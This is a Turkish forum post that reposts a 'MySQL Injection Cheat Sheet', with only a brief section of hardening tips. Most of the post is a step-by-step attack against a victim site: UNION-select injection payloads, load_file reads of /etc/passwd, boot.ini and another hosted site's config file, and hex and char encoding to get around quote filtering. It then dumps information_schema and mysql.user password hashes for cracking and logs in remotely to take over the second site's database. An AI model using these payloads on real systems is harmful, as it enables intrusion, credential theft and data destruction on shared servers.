Yazan
ahmet
Yeni Üye
03 Temmuz 2010 Cumartesi 09:56:26
''Ugurcan Engin'' adlı kisinin yazdıgı dökümanı paylasmak istiyorum gercekten cok güsel bir döküman...

MySQL İnjection Cheat Sheet

İÇERİK
1-MySQL Remote Connect - Analiz & Olusabilicek Tehlikeler
2-Hacking Anatomi - MySQL İnjectin-Database Dump
3-Syntax Hataları & Çözümler
4-MySQL Front Kullanımı ile MySQL Remote Connect

MySQL Uzaktan Yonetim - Analizi & Olusabilicek Tehlıkeler

MySQL sorgu dili yonetimindeki dbms (Database Manage System) veritabanına
uzaktan baglanarak veritabanımızı duzenlemek veyahut performans’ı artırmak icin
bir kac sey ekleyebilme ihtiyacı duyabiliriz. Windowsdaki mstsc (Remote Desktop Connect) ile
aynı mantıga sahip de denebilir; fakat is veritabanına uzaktan baglanmaya gelince biraz dusunduruyor.
Guvenlık prosudürü’nu goz onune almak gereklı boyle bir ise koyulmadan evvel.

MySQL’in Kullandıgı Port

” mysql/my.ini ” open !

# The TCP/IP Port the MySQL Server will listen on
” port=3306 ”

+ Buradan portu degistirebiliriz.

Biraz Önlem Brifingi..

- SQL Serverin dısardan baglantisinin kısıtlanması veya baglanacak userlere MySQL de kısıtlı politika uygulanması
mesela sadece kendi db’sine erisim hakkı.

-Once saglamlıgına kanat ettiginiz bir makınada bu tip islemleri yapmanız. (root girisi icin , Lisanslı Firewall destekli bir makına )

-Web teknıklerı yonunden dusundugumuz de is daha vahim boyuta donusebilir , buna asagıda deginecegiz.
Yani sitenızde kullangınız db’e ait script’de herhangi bir acık olmayacak.
Artık ne yapıp edın local sunucunuza scriptinizi kurup , defalarca atak yaparak test edin
ozellikle “SQL” sorgularımıza dikkat ediniz hem kendımız icin hemde serverdaki diger userler (diger siteler)icin
bir tehlıke olusmayacaktır.Aynı zamanda localde aynı databaseyi kullanan siteler icinde.
Diger userlerle ortak kullandıgnız bir database varsayalım , 150 kusurluk bir sub domaın’ın aynı veritabanını kullandıgını
göz onunde bulundurabılırız. İste burada herhangi bir tabloda yapılacak degisiklik diger kisilerinde sistemlerinin etkılenmesıne
web sayfasındakı iceriklerin otomatıkmen aynı sekılde update olmasına neden olcaktır.
-Mumkunse On-Screen Keyboard kullanmanız. (Eger isiniz cok acilse yabancı bir makınadaysanız)

Hacking Anatomi - Load_File & MySQL Database Dump

Herhangi bir sitede SQL İnjection tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL İnjectin zaafiyatını kullanarak serverdaki diger sitenin (victim2)’nin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.

**********
victim.php?id=-1+order+by+7–

// kolon sayısını ogrenıyorum

victim.php?id=-1/**/union/**/select/**/0,1,2,3,4,5,6,7/*

3 4

// Kolon sayısınının esit oldugunu soyluyor.

victim.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All

*Linux da “userler”in yetkılerıne temelli sahibiz,
*Windows icin de aynı sey gecerlidir.

********************

// Eger Makina Windows olsaydı..

boot.ini‘yi okuyabiliriz , engel varsa hexleriz.

select ‘c:/boot.ini’

select 0×633a2f626f6f742e696e69

Domainler ” C:/Inetpub ” burada.

victim.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*

****************************************

Blind Edebiliriz !

substring(load_file(’c:/boot.ini’),58)

” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”

****************************************

Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.

Simdi konumuza geri donelım;

//Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.

Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.

Calısma mantıgı ,

(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.

****************************************

- UYGULAMA -

/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*

Eger engel varsa ;

> > victim.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7

// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.

Target “victim2?

/home/victim2/httpdocs:
/home/site/httpdocs:


***********
Amacımız victim2 adlı kurbanın dbsini ele gecirmek , Bunun icin victim2 adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;

/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*

// Burada gene hexleyecegız parantez icindekı karakterleri.

/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*

************

Syntax Hataları & Çözümler

Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …

Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;

victim.php?id=88888881 union select 0,1,2,3,4,5,6,7

3 4

/home/victim2/httpdocs/main.php < Go to ascıı code converted

victim.php?=88888881 union select 0,1,2,load_file(char(/home/victim2/httpdocs/main.php))),4,5,6,7

victim.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7



[ part 1]

“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.

/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*

1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.

Example :

SELECT * FROM `users` LIMIT 1, 8

[ part 2 ]

/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*

Engel oldugunu varsayıyorum ,

union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8

****************************************

[+] Yukarıda load_file ile yaptıgım atağın sonucu geldı.

// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “nrci”;
// Database name
$forum_database = “SQL_GODS”;
?>

Bakın victim1 deki SQL hatalarını İnjecte edip serverdakı dizinleri okuyup victim2 adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık.. Fakat burada soyle bir sey var sunucunun dısında oldugumuzdan
“victim2? adlı kurbanın dbsine erismemiz icin serverin 3306.portunun Remote baglanti icin “enable” olması lasim. Eger disable durumdaysa bir ise yaramaz.
Remote Baglantı İşimiz sadece MySQL Front veya telnet tipi programlar ile basitlesebiliyor.

Localımız de MySQL databasemize baglanmak , sql cekmek , tum MySQL islemlerimizide “mscommand” uzerınden de yapabiliriz.

Example :

D:\wos\mysql\bin>mysql –user=root –password=root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.0.45-community-nt MySQL Community Edition (GPL)

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql> create database U238;
Query OK, 1 row affected (0.01 sec) // Örnek olarak bir veritabanı olusturdum.

****************************************

MySQL’i injecte ederken isimize yarıycak 2 database ve kolon+satırlar ,

————————–

+++ information_schema +++


“COLUMNS”
+++ “TABLES” +++


+++ mysql +++


“db”
+++ “user” +++
————————-

// Dolayısıyla mysql.user veritabanını kullanarak mysql veritabanındakı “users” adlı tablodan mysql root sifresinin
hashını da alabiliriz. Hashı crack edip Remote baglanti ile tüm databaseye ulasılabilir.

+ User
+ Password

/**/union/**/select/**/0,1,2,concat(user,0×2020,password),4,5,6,7+from+my sql.user/*

MySQL Front Usage & Remote Connect

Public edilmis sekilde asagıdaki adresten indirebilirsiniz.

http://www.mysqlfront.de/download.html

Programı oncelıkle kurup - actıgımız da karsımıza

“Add Session” Adı altında “General” sekmesi gelecektir.

// Burada bir isim giriyoruz farketmez ne oldugu. Daha sonra hemen yanındaki inputa(bosluga) geliyoruz.

“Connection”

// Server ile baglanti ayarlarını yapıyoruz. Yerel sunucumu kullanıyorum.

* Server : 127.0.0.1 // Baglanacagımız serverin “İp” adresi , (victim protokol)
* Port : 3306 // (Genelde sabit olur ) Eger SQL serverin Portu’nu degistirdiysenız, o portu aynen giriyoruz.
* Connection Type : Built-in // Baglantı türümüzü ayarlıyoruz , sabit kalması muhtemel isimizi gorecektir.

“Login”

//Burada db bilgilerini giriyoruz .
Daha sonra “ok” + “Open” deyip baglanıyoruz.

Not: “İp” adresi ile servera istek yollanır , uzak masaustu gibi dusunun, siz o serverda bir “user” veya full db erisim hakkına sahip olan
root gibi dusunun , sadece belirtilen “db” altındakı tablo ve kolonlara erisiriz.Yani tum veritabanı degil. Eger userler icin
MySQL yetkileri kısıtlanmamıssa ;

İste Bu kadar. Suanda , ”sql” rahatlıkla export edilebilir , Tablolar dakı tum bılgıler okunabilir , Yenı tablo ve kolonlar olusturulabilir.Database drob edilebilir.
selim500
Yeni Üye
21 Şubat 2019 Perşembe 07:20:43
tesekkkurler

Cevap yazmak için üye olmalısınız!
Hemen üye olmak için burayı tıklayınız..
 
 
Sayfalar:  1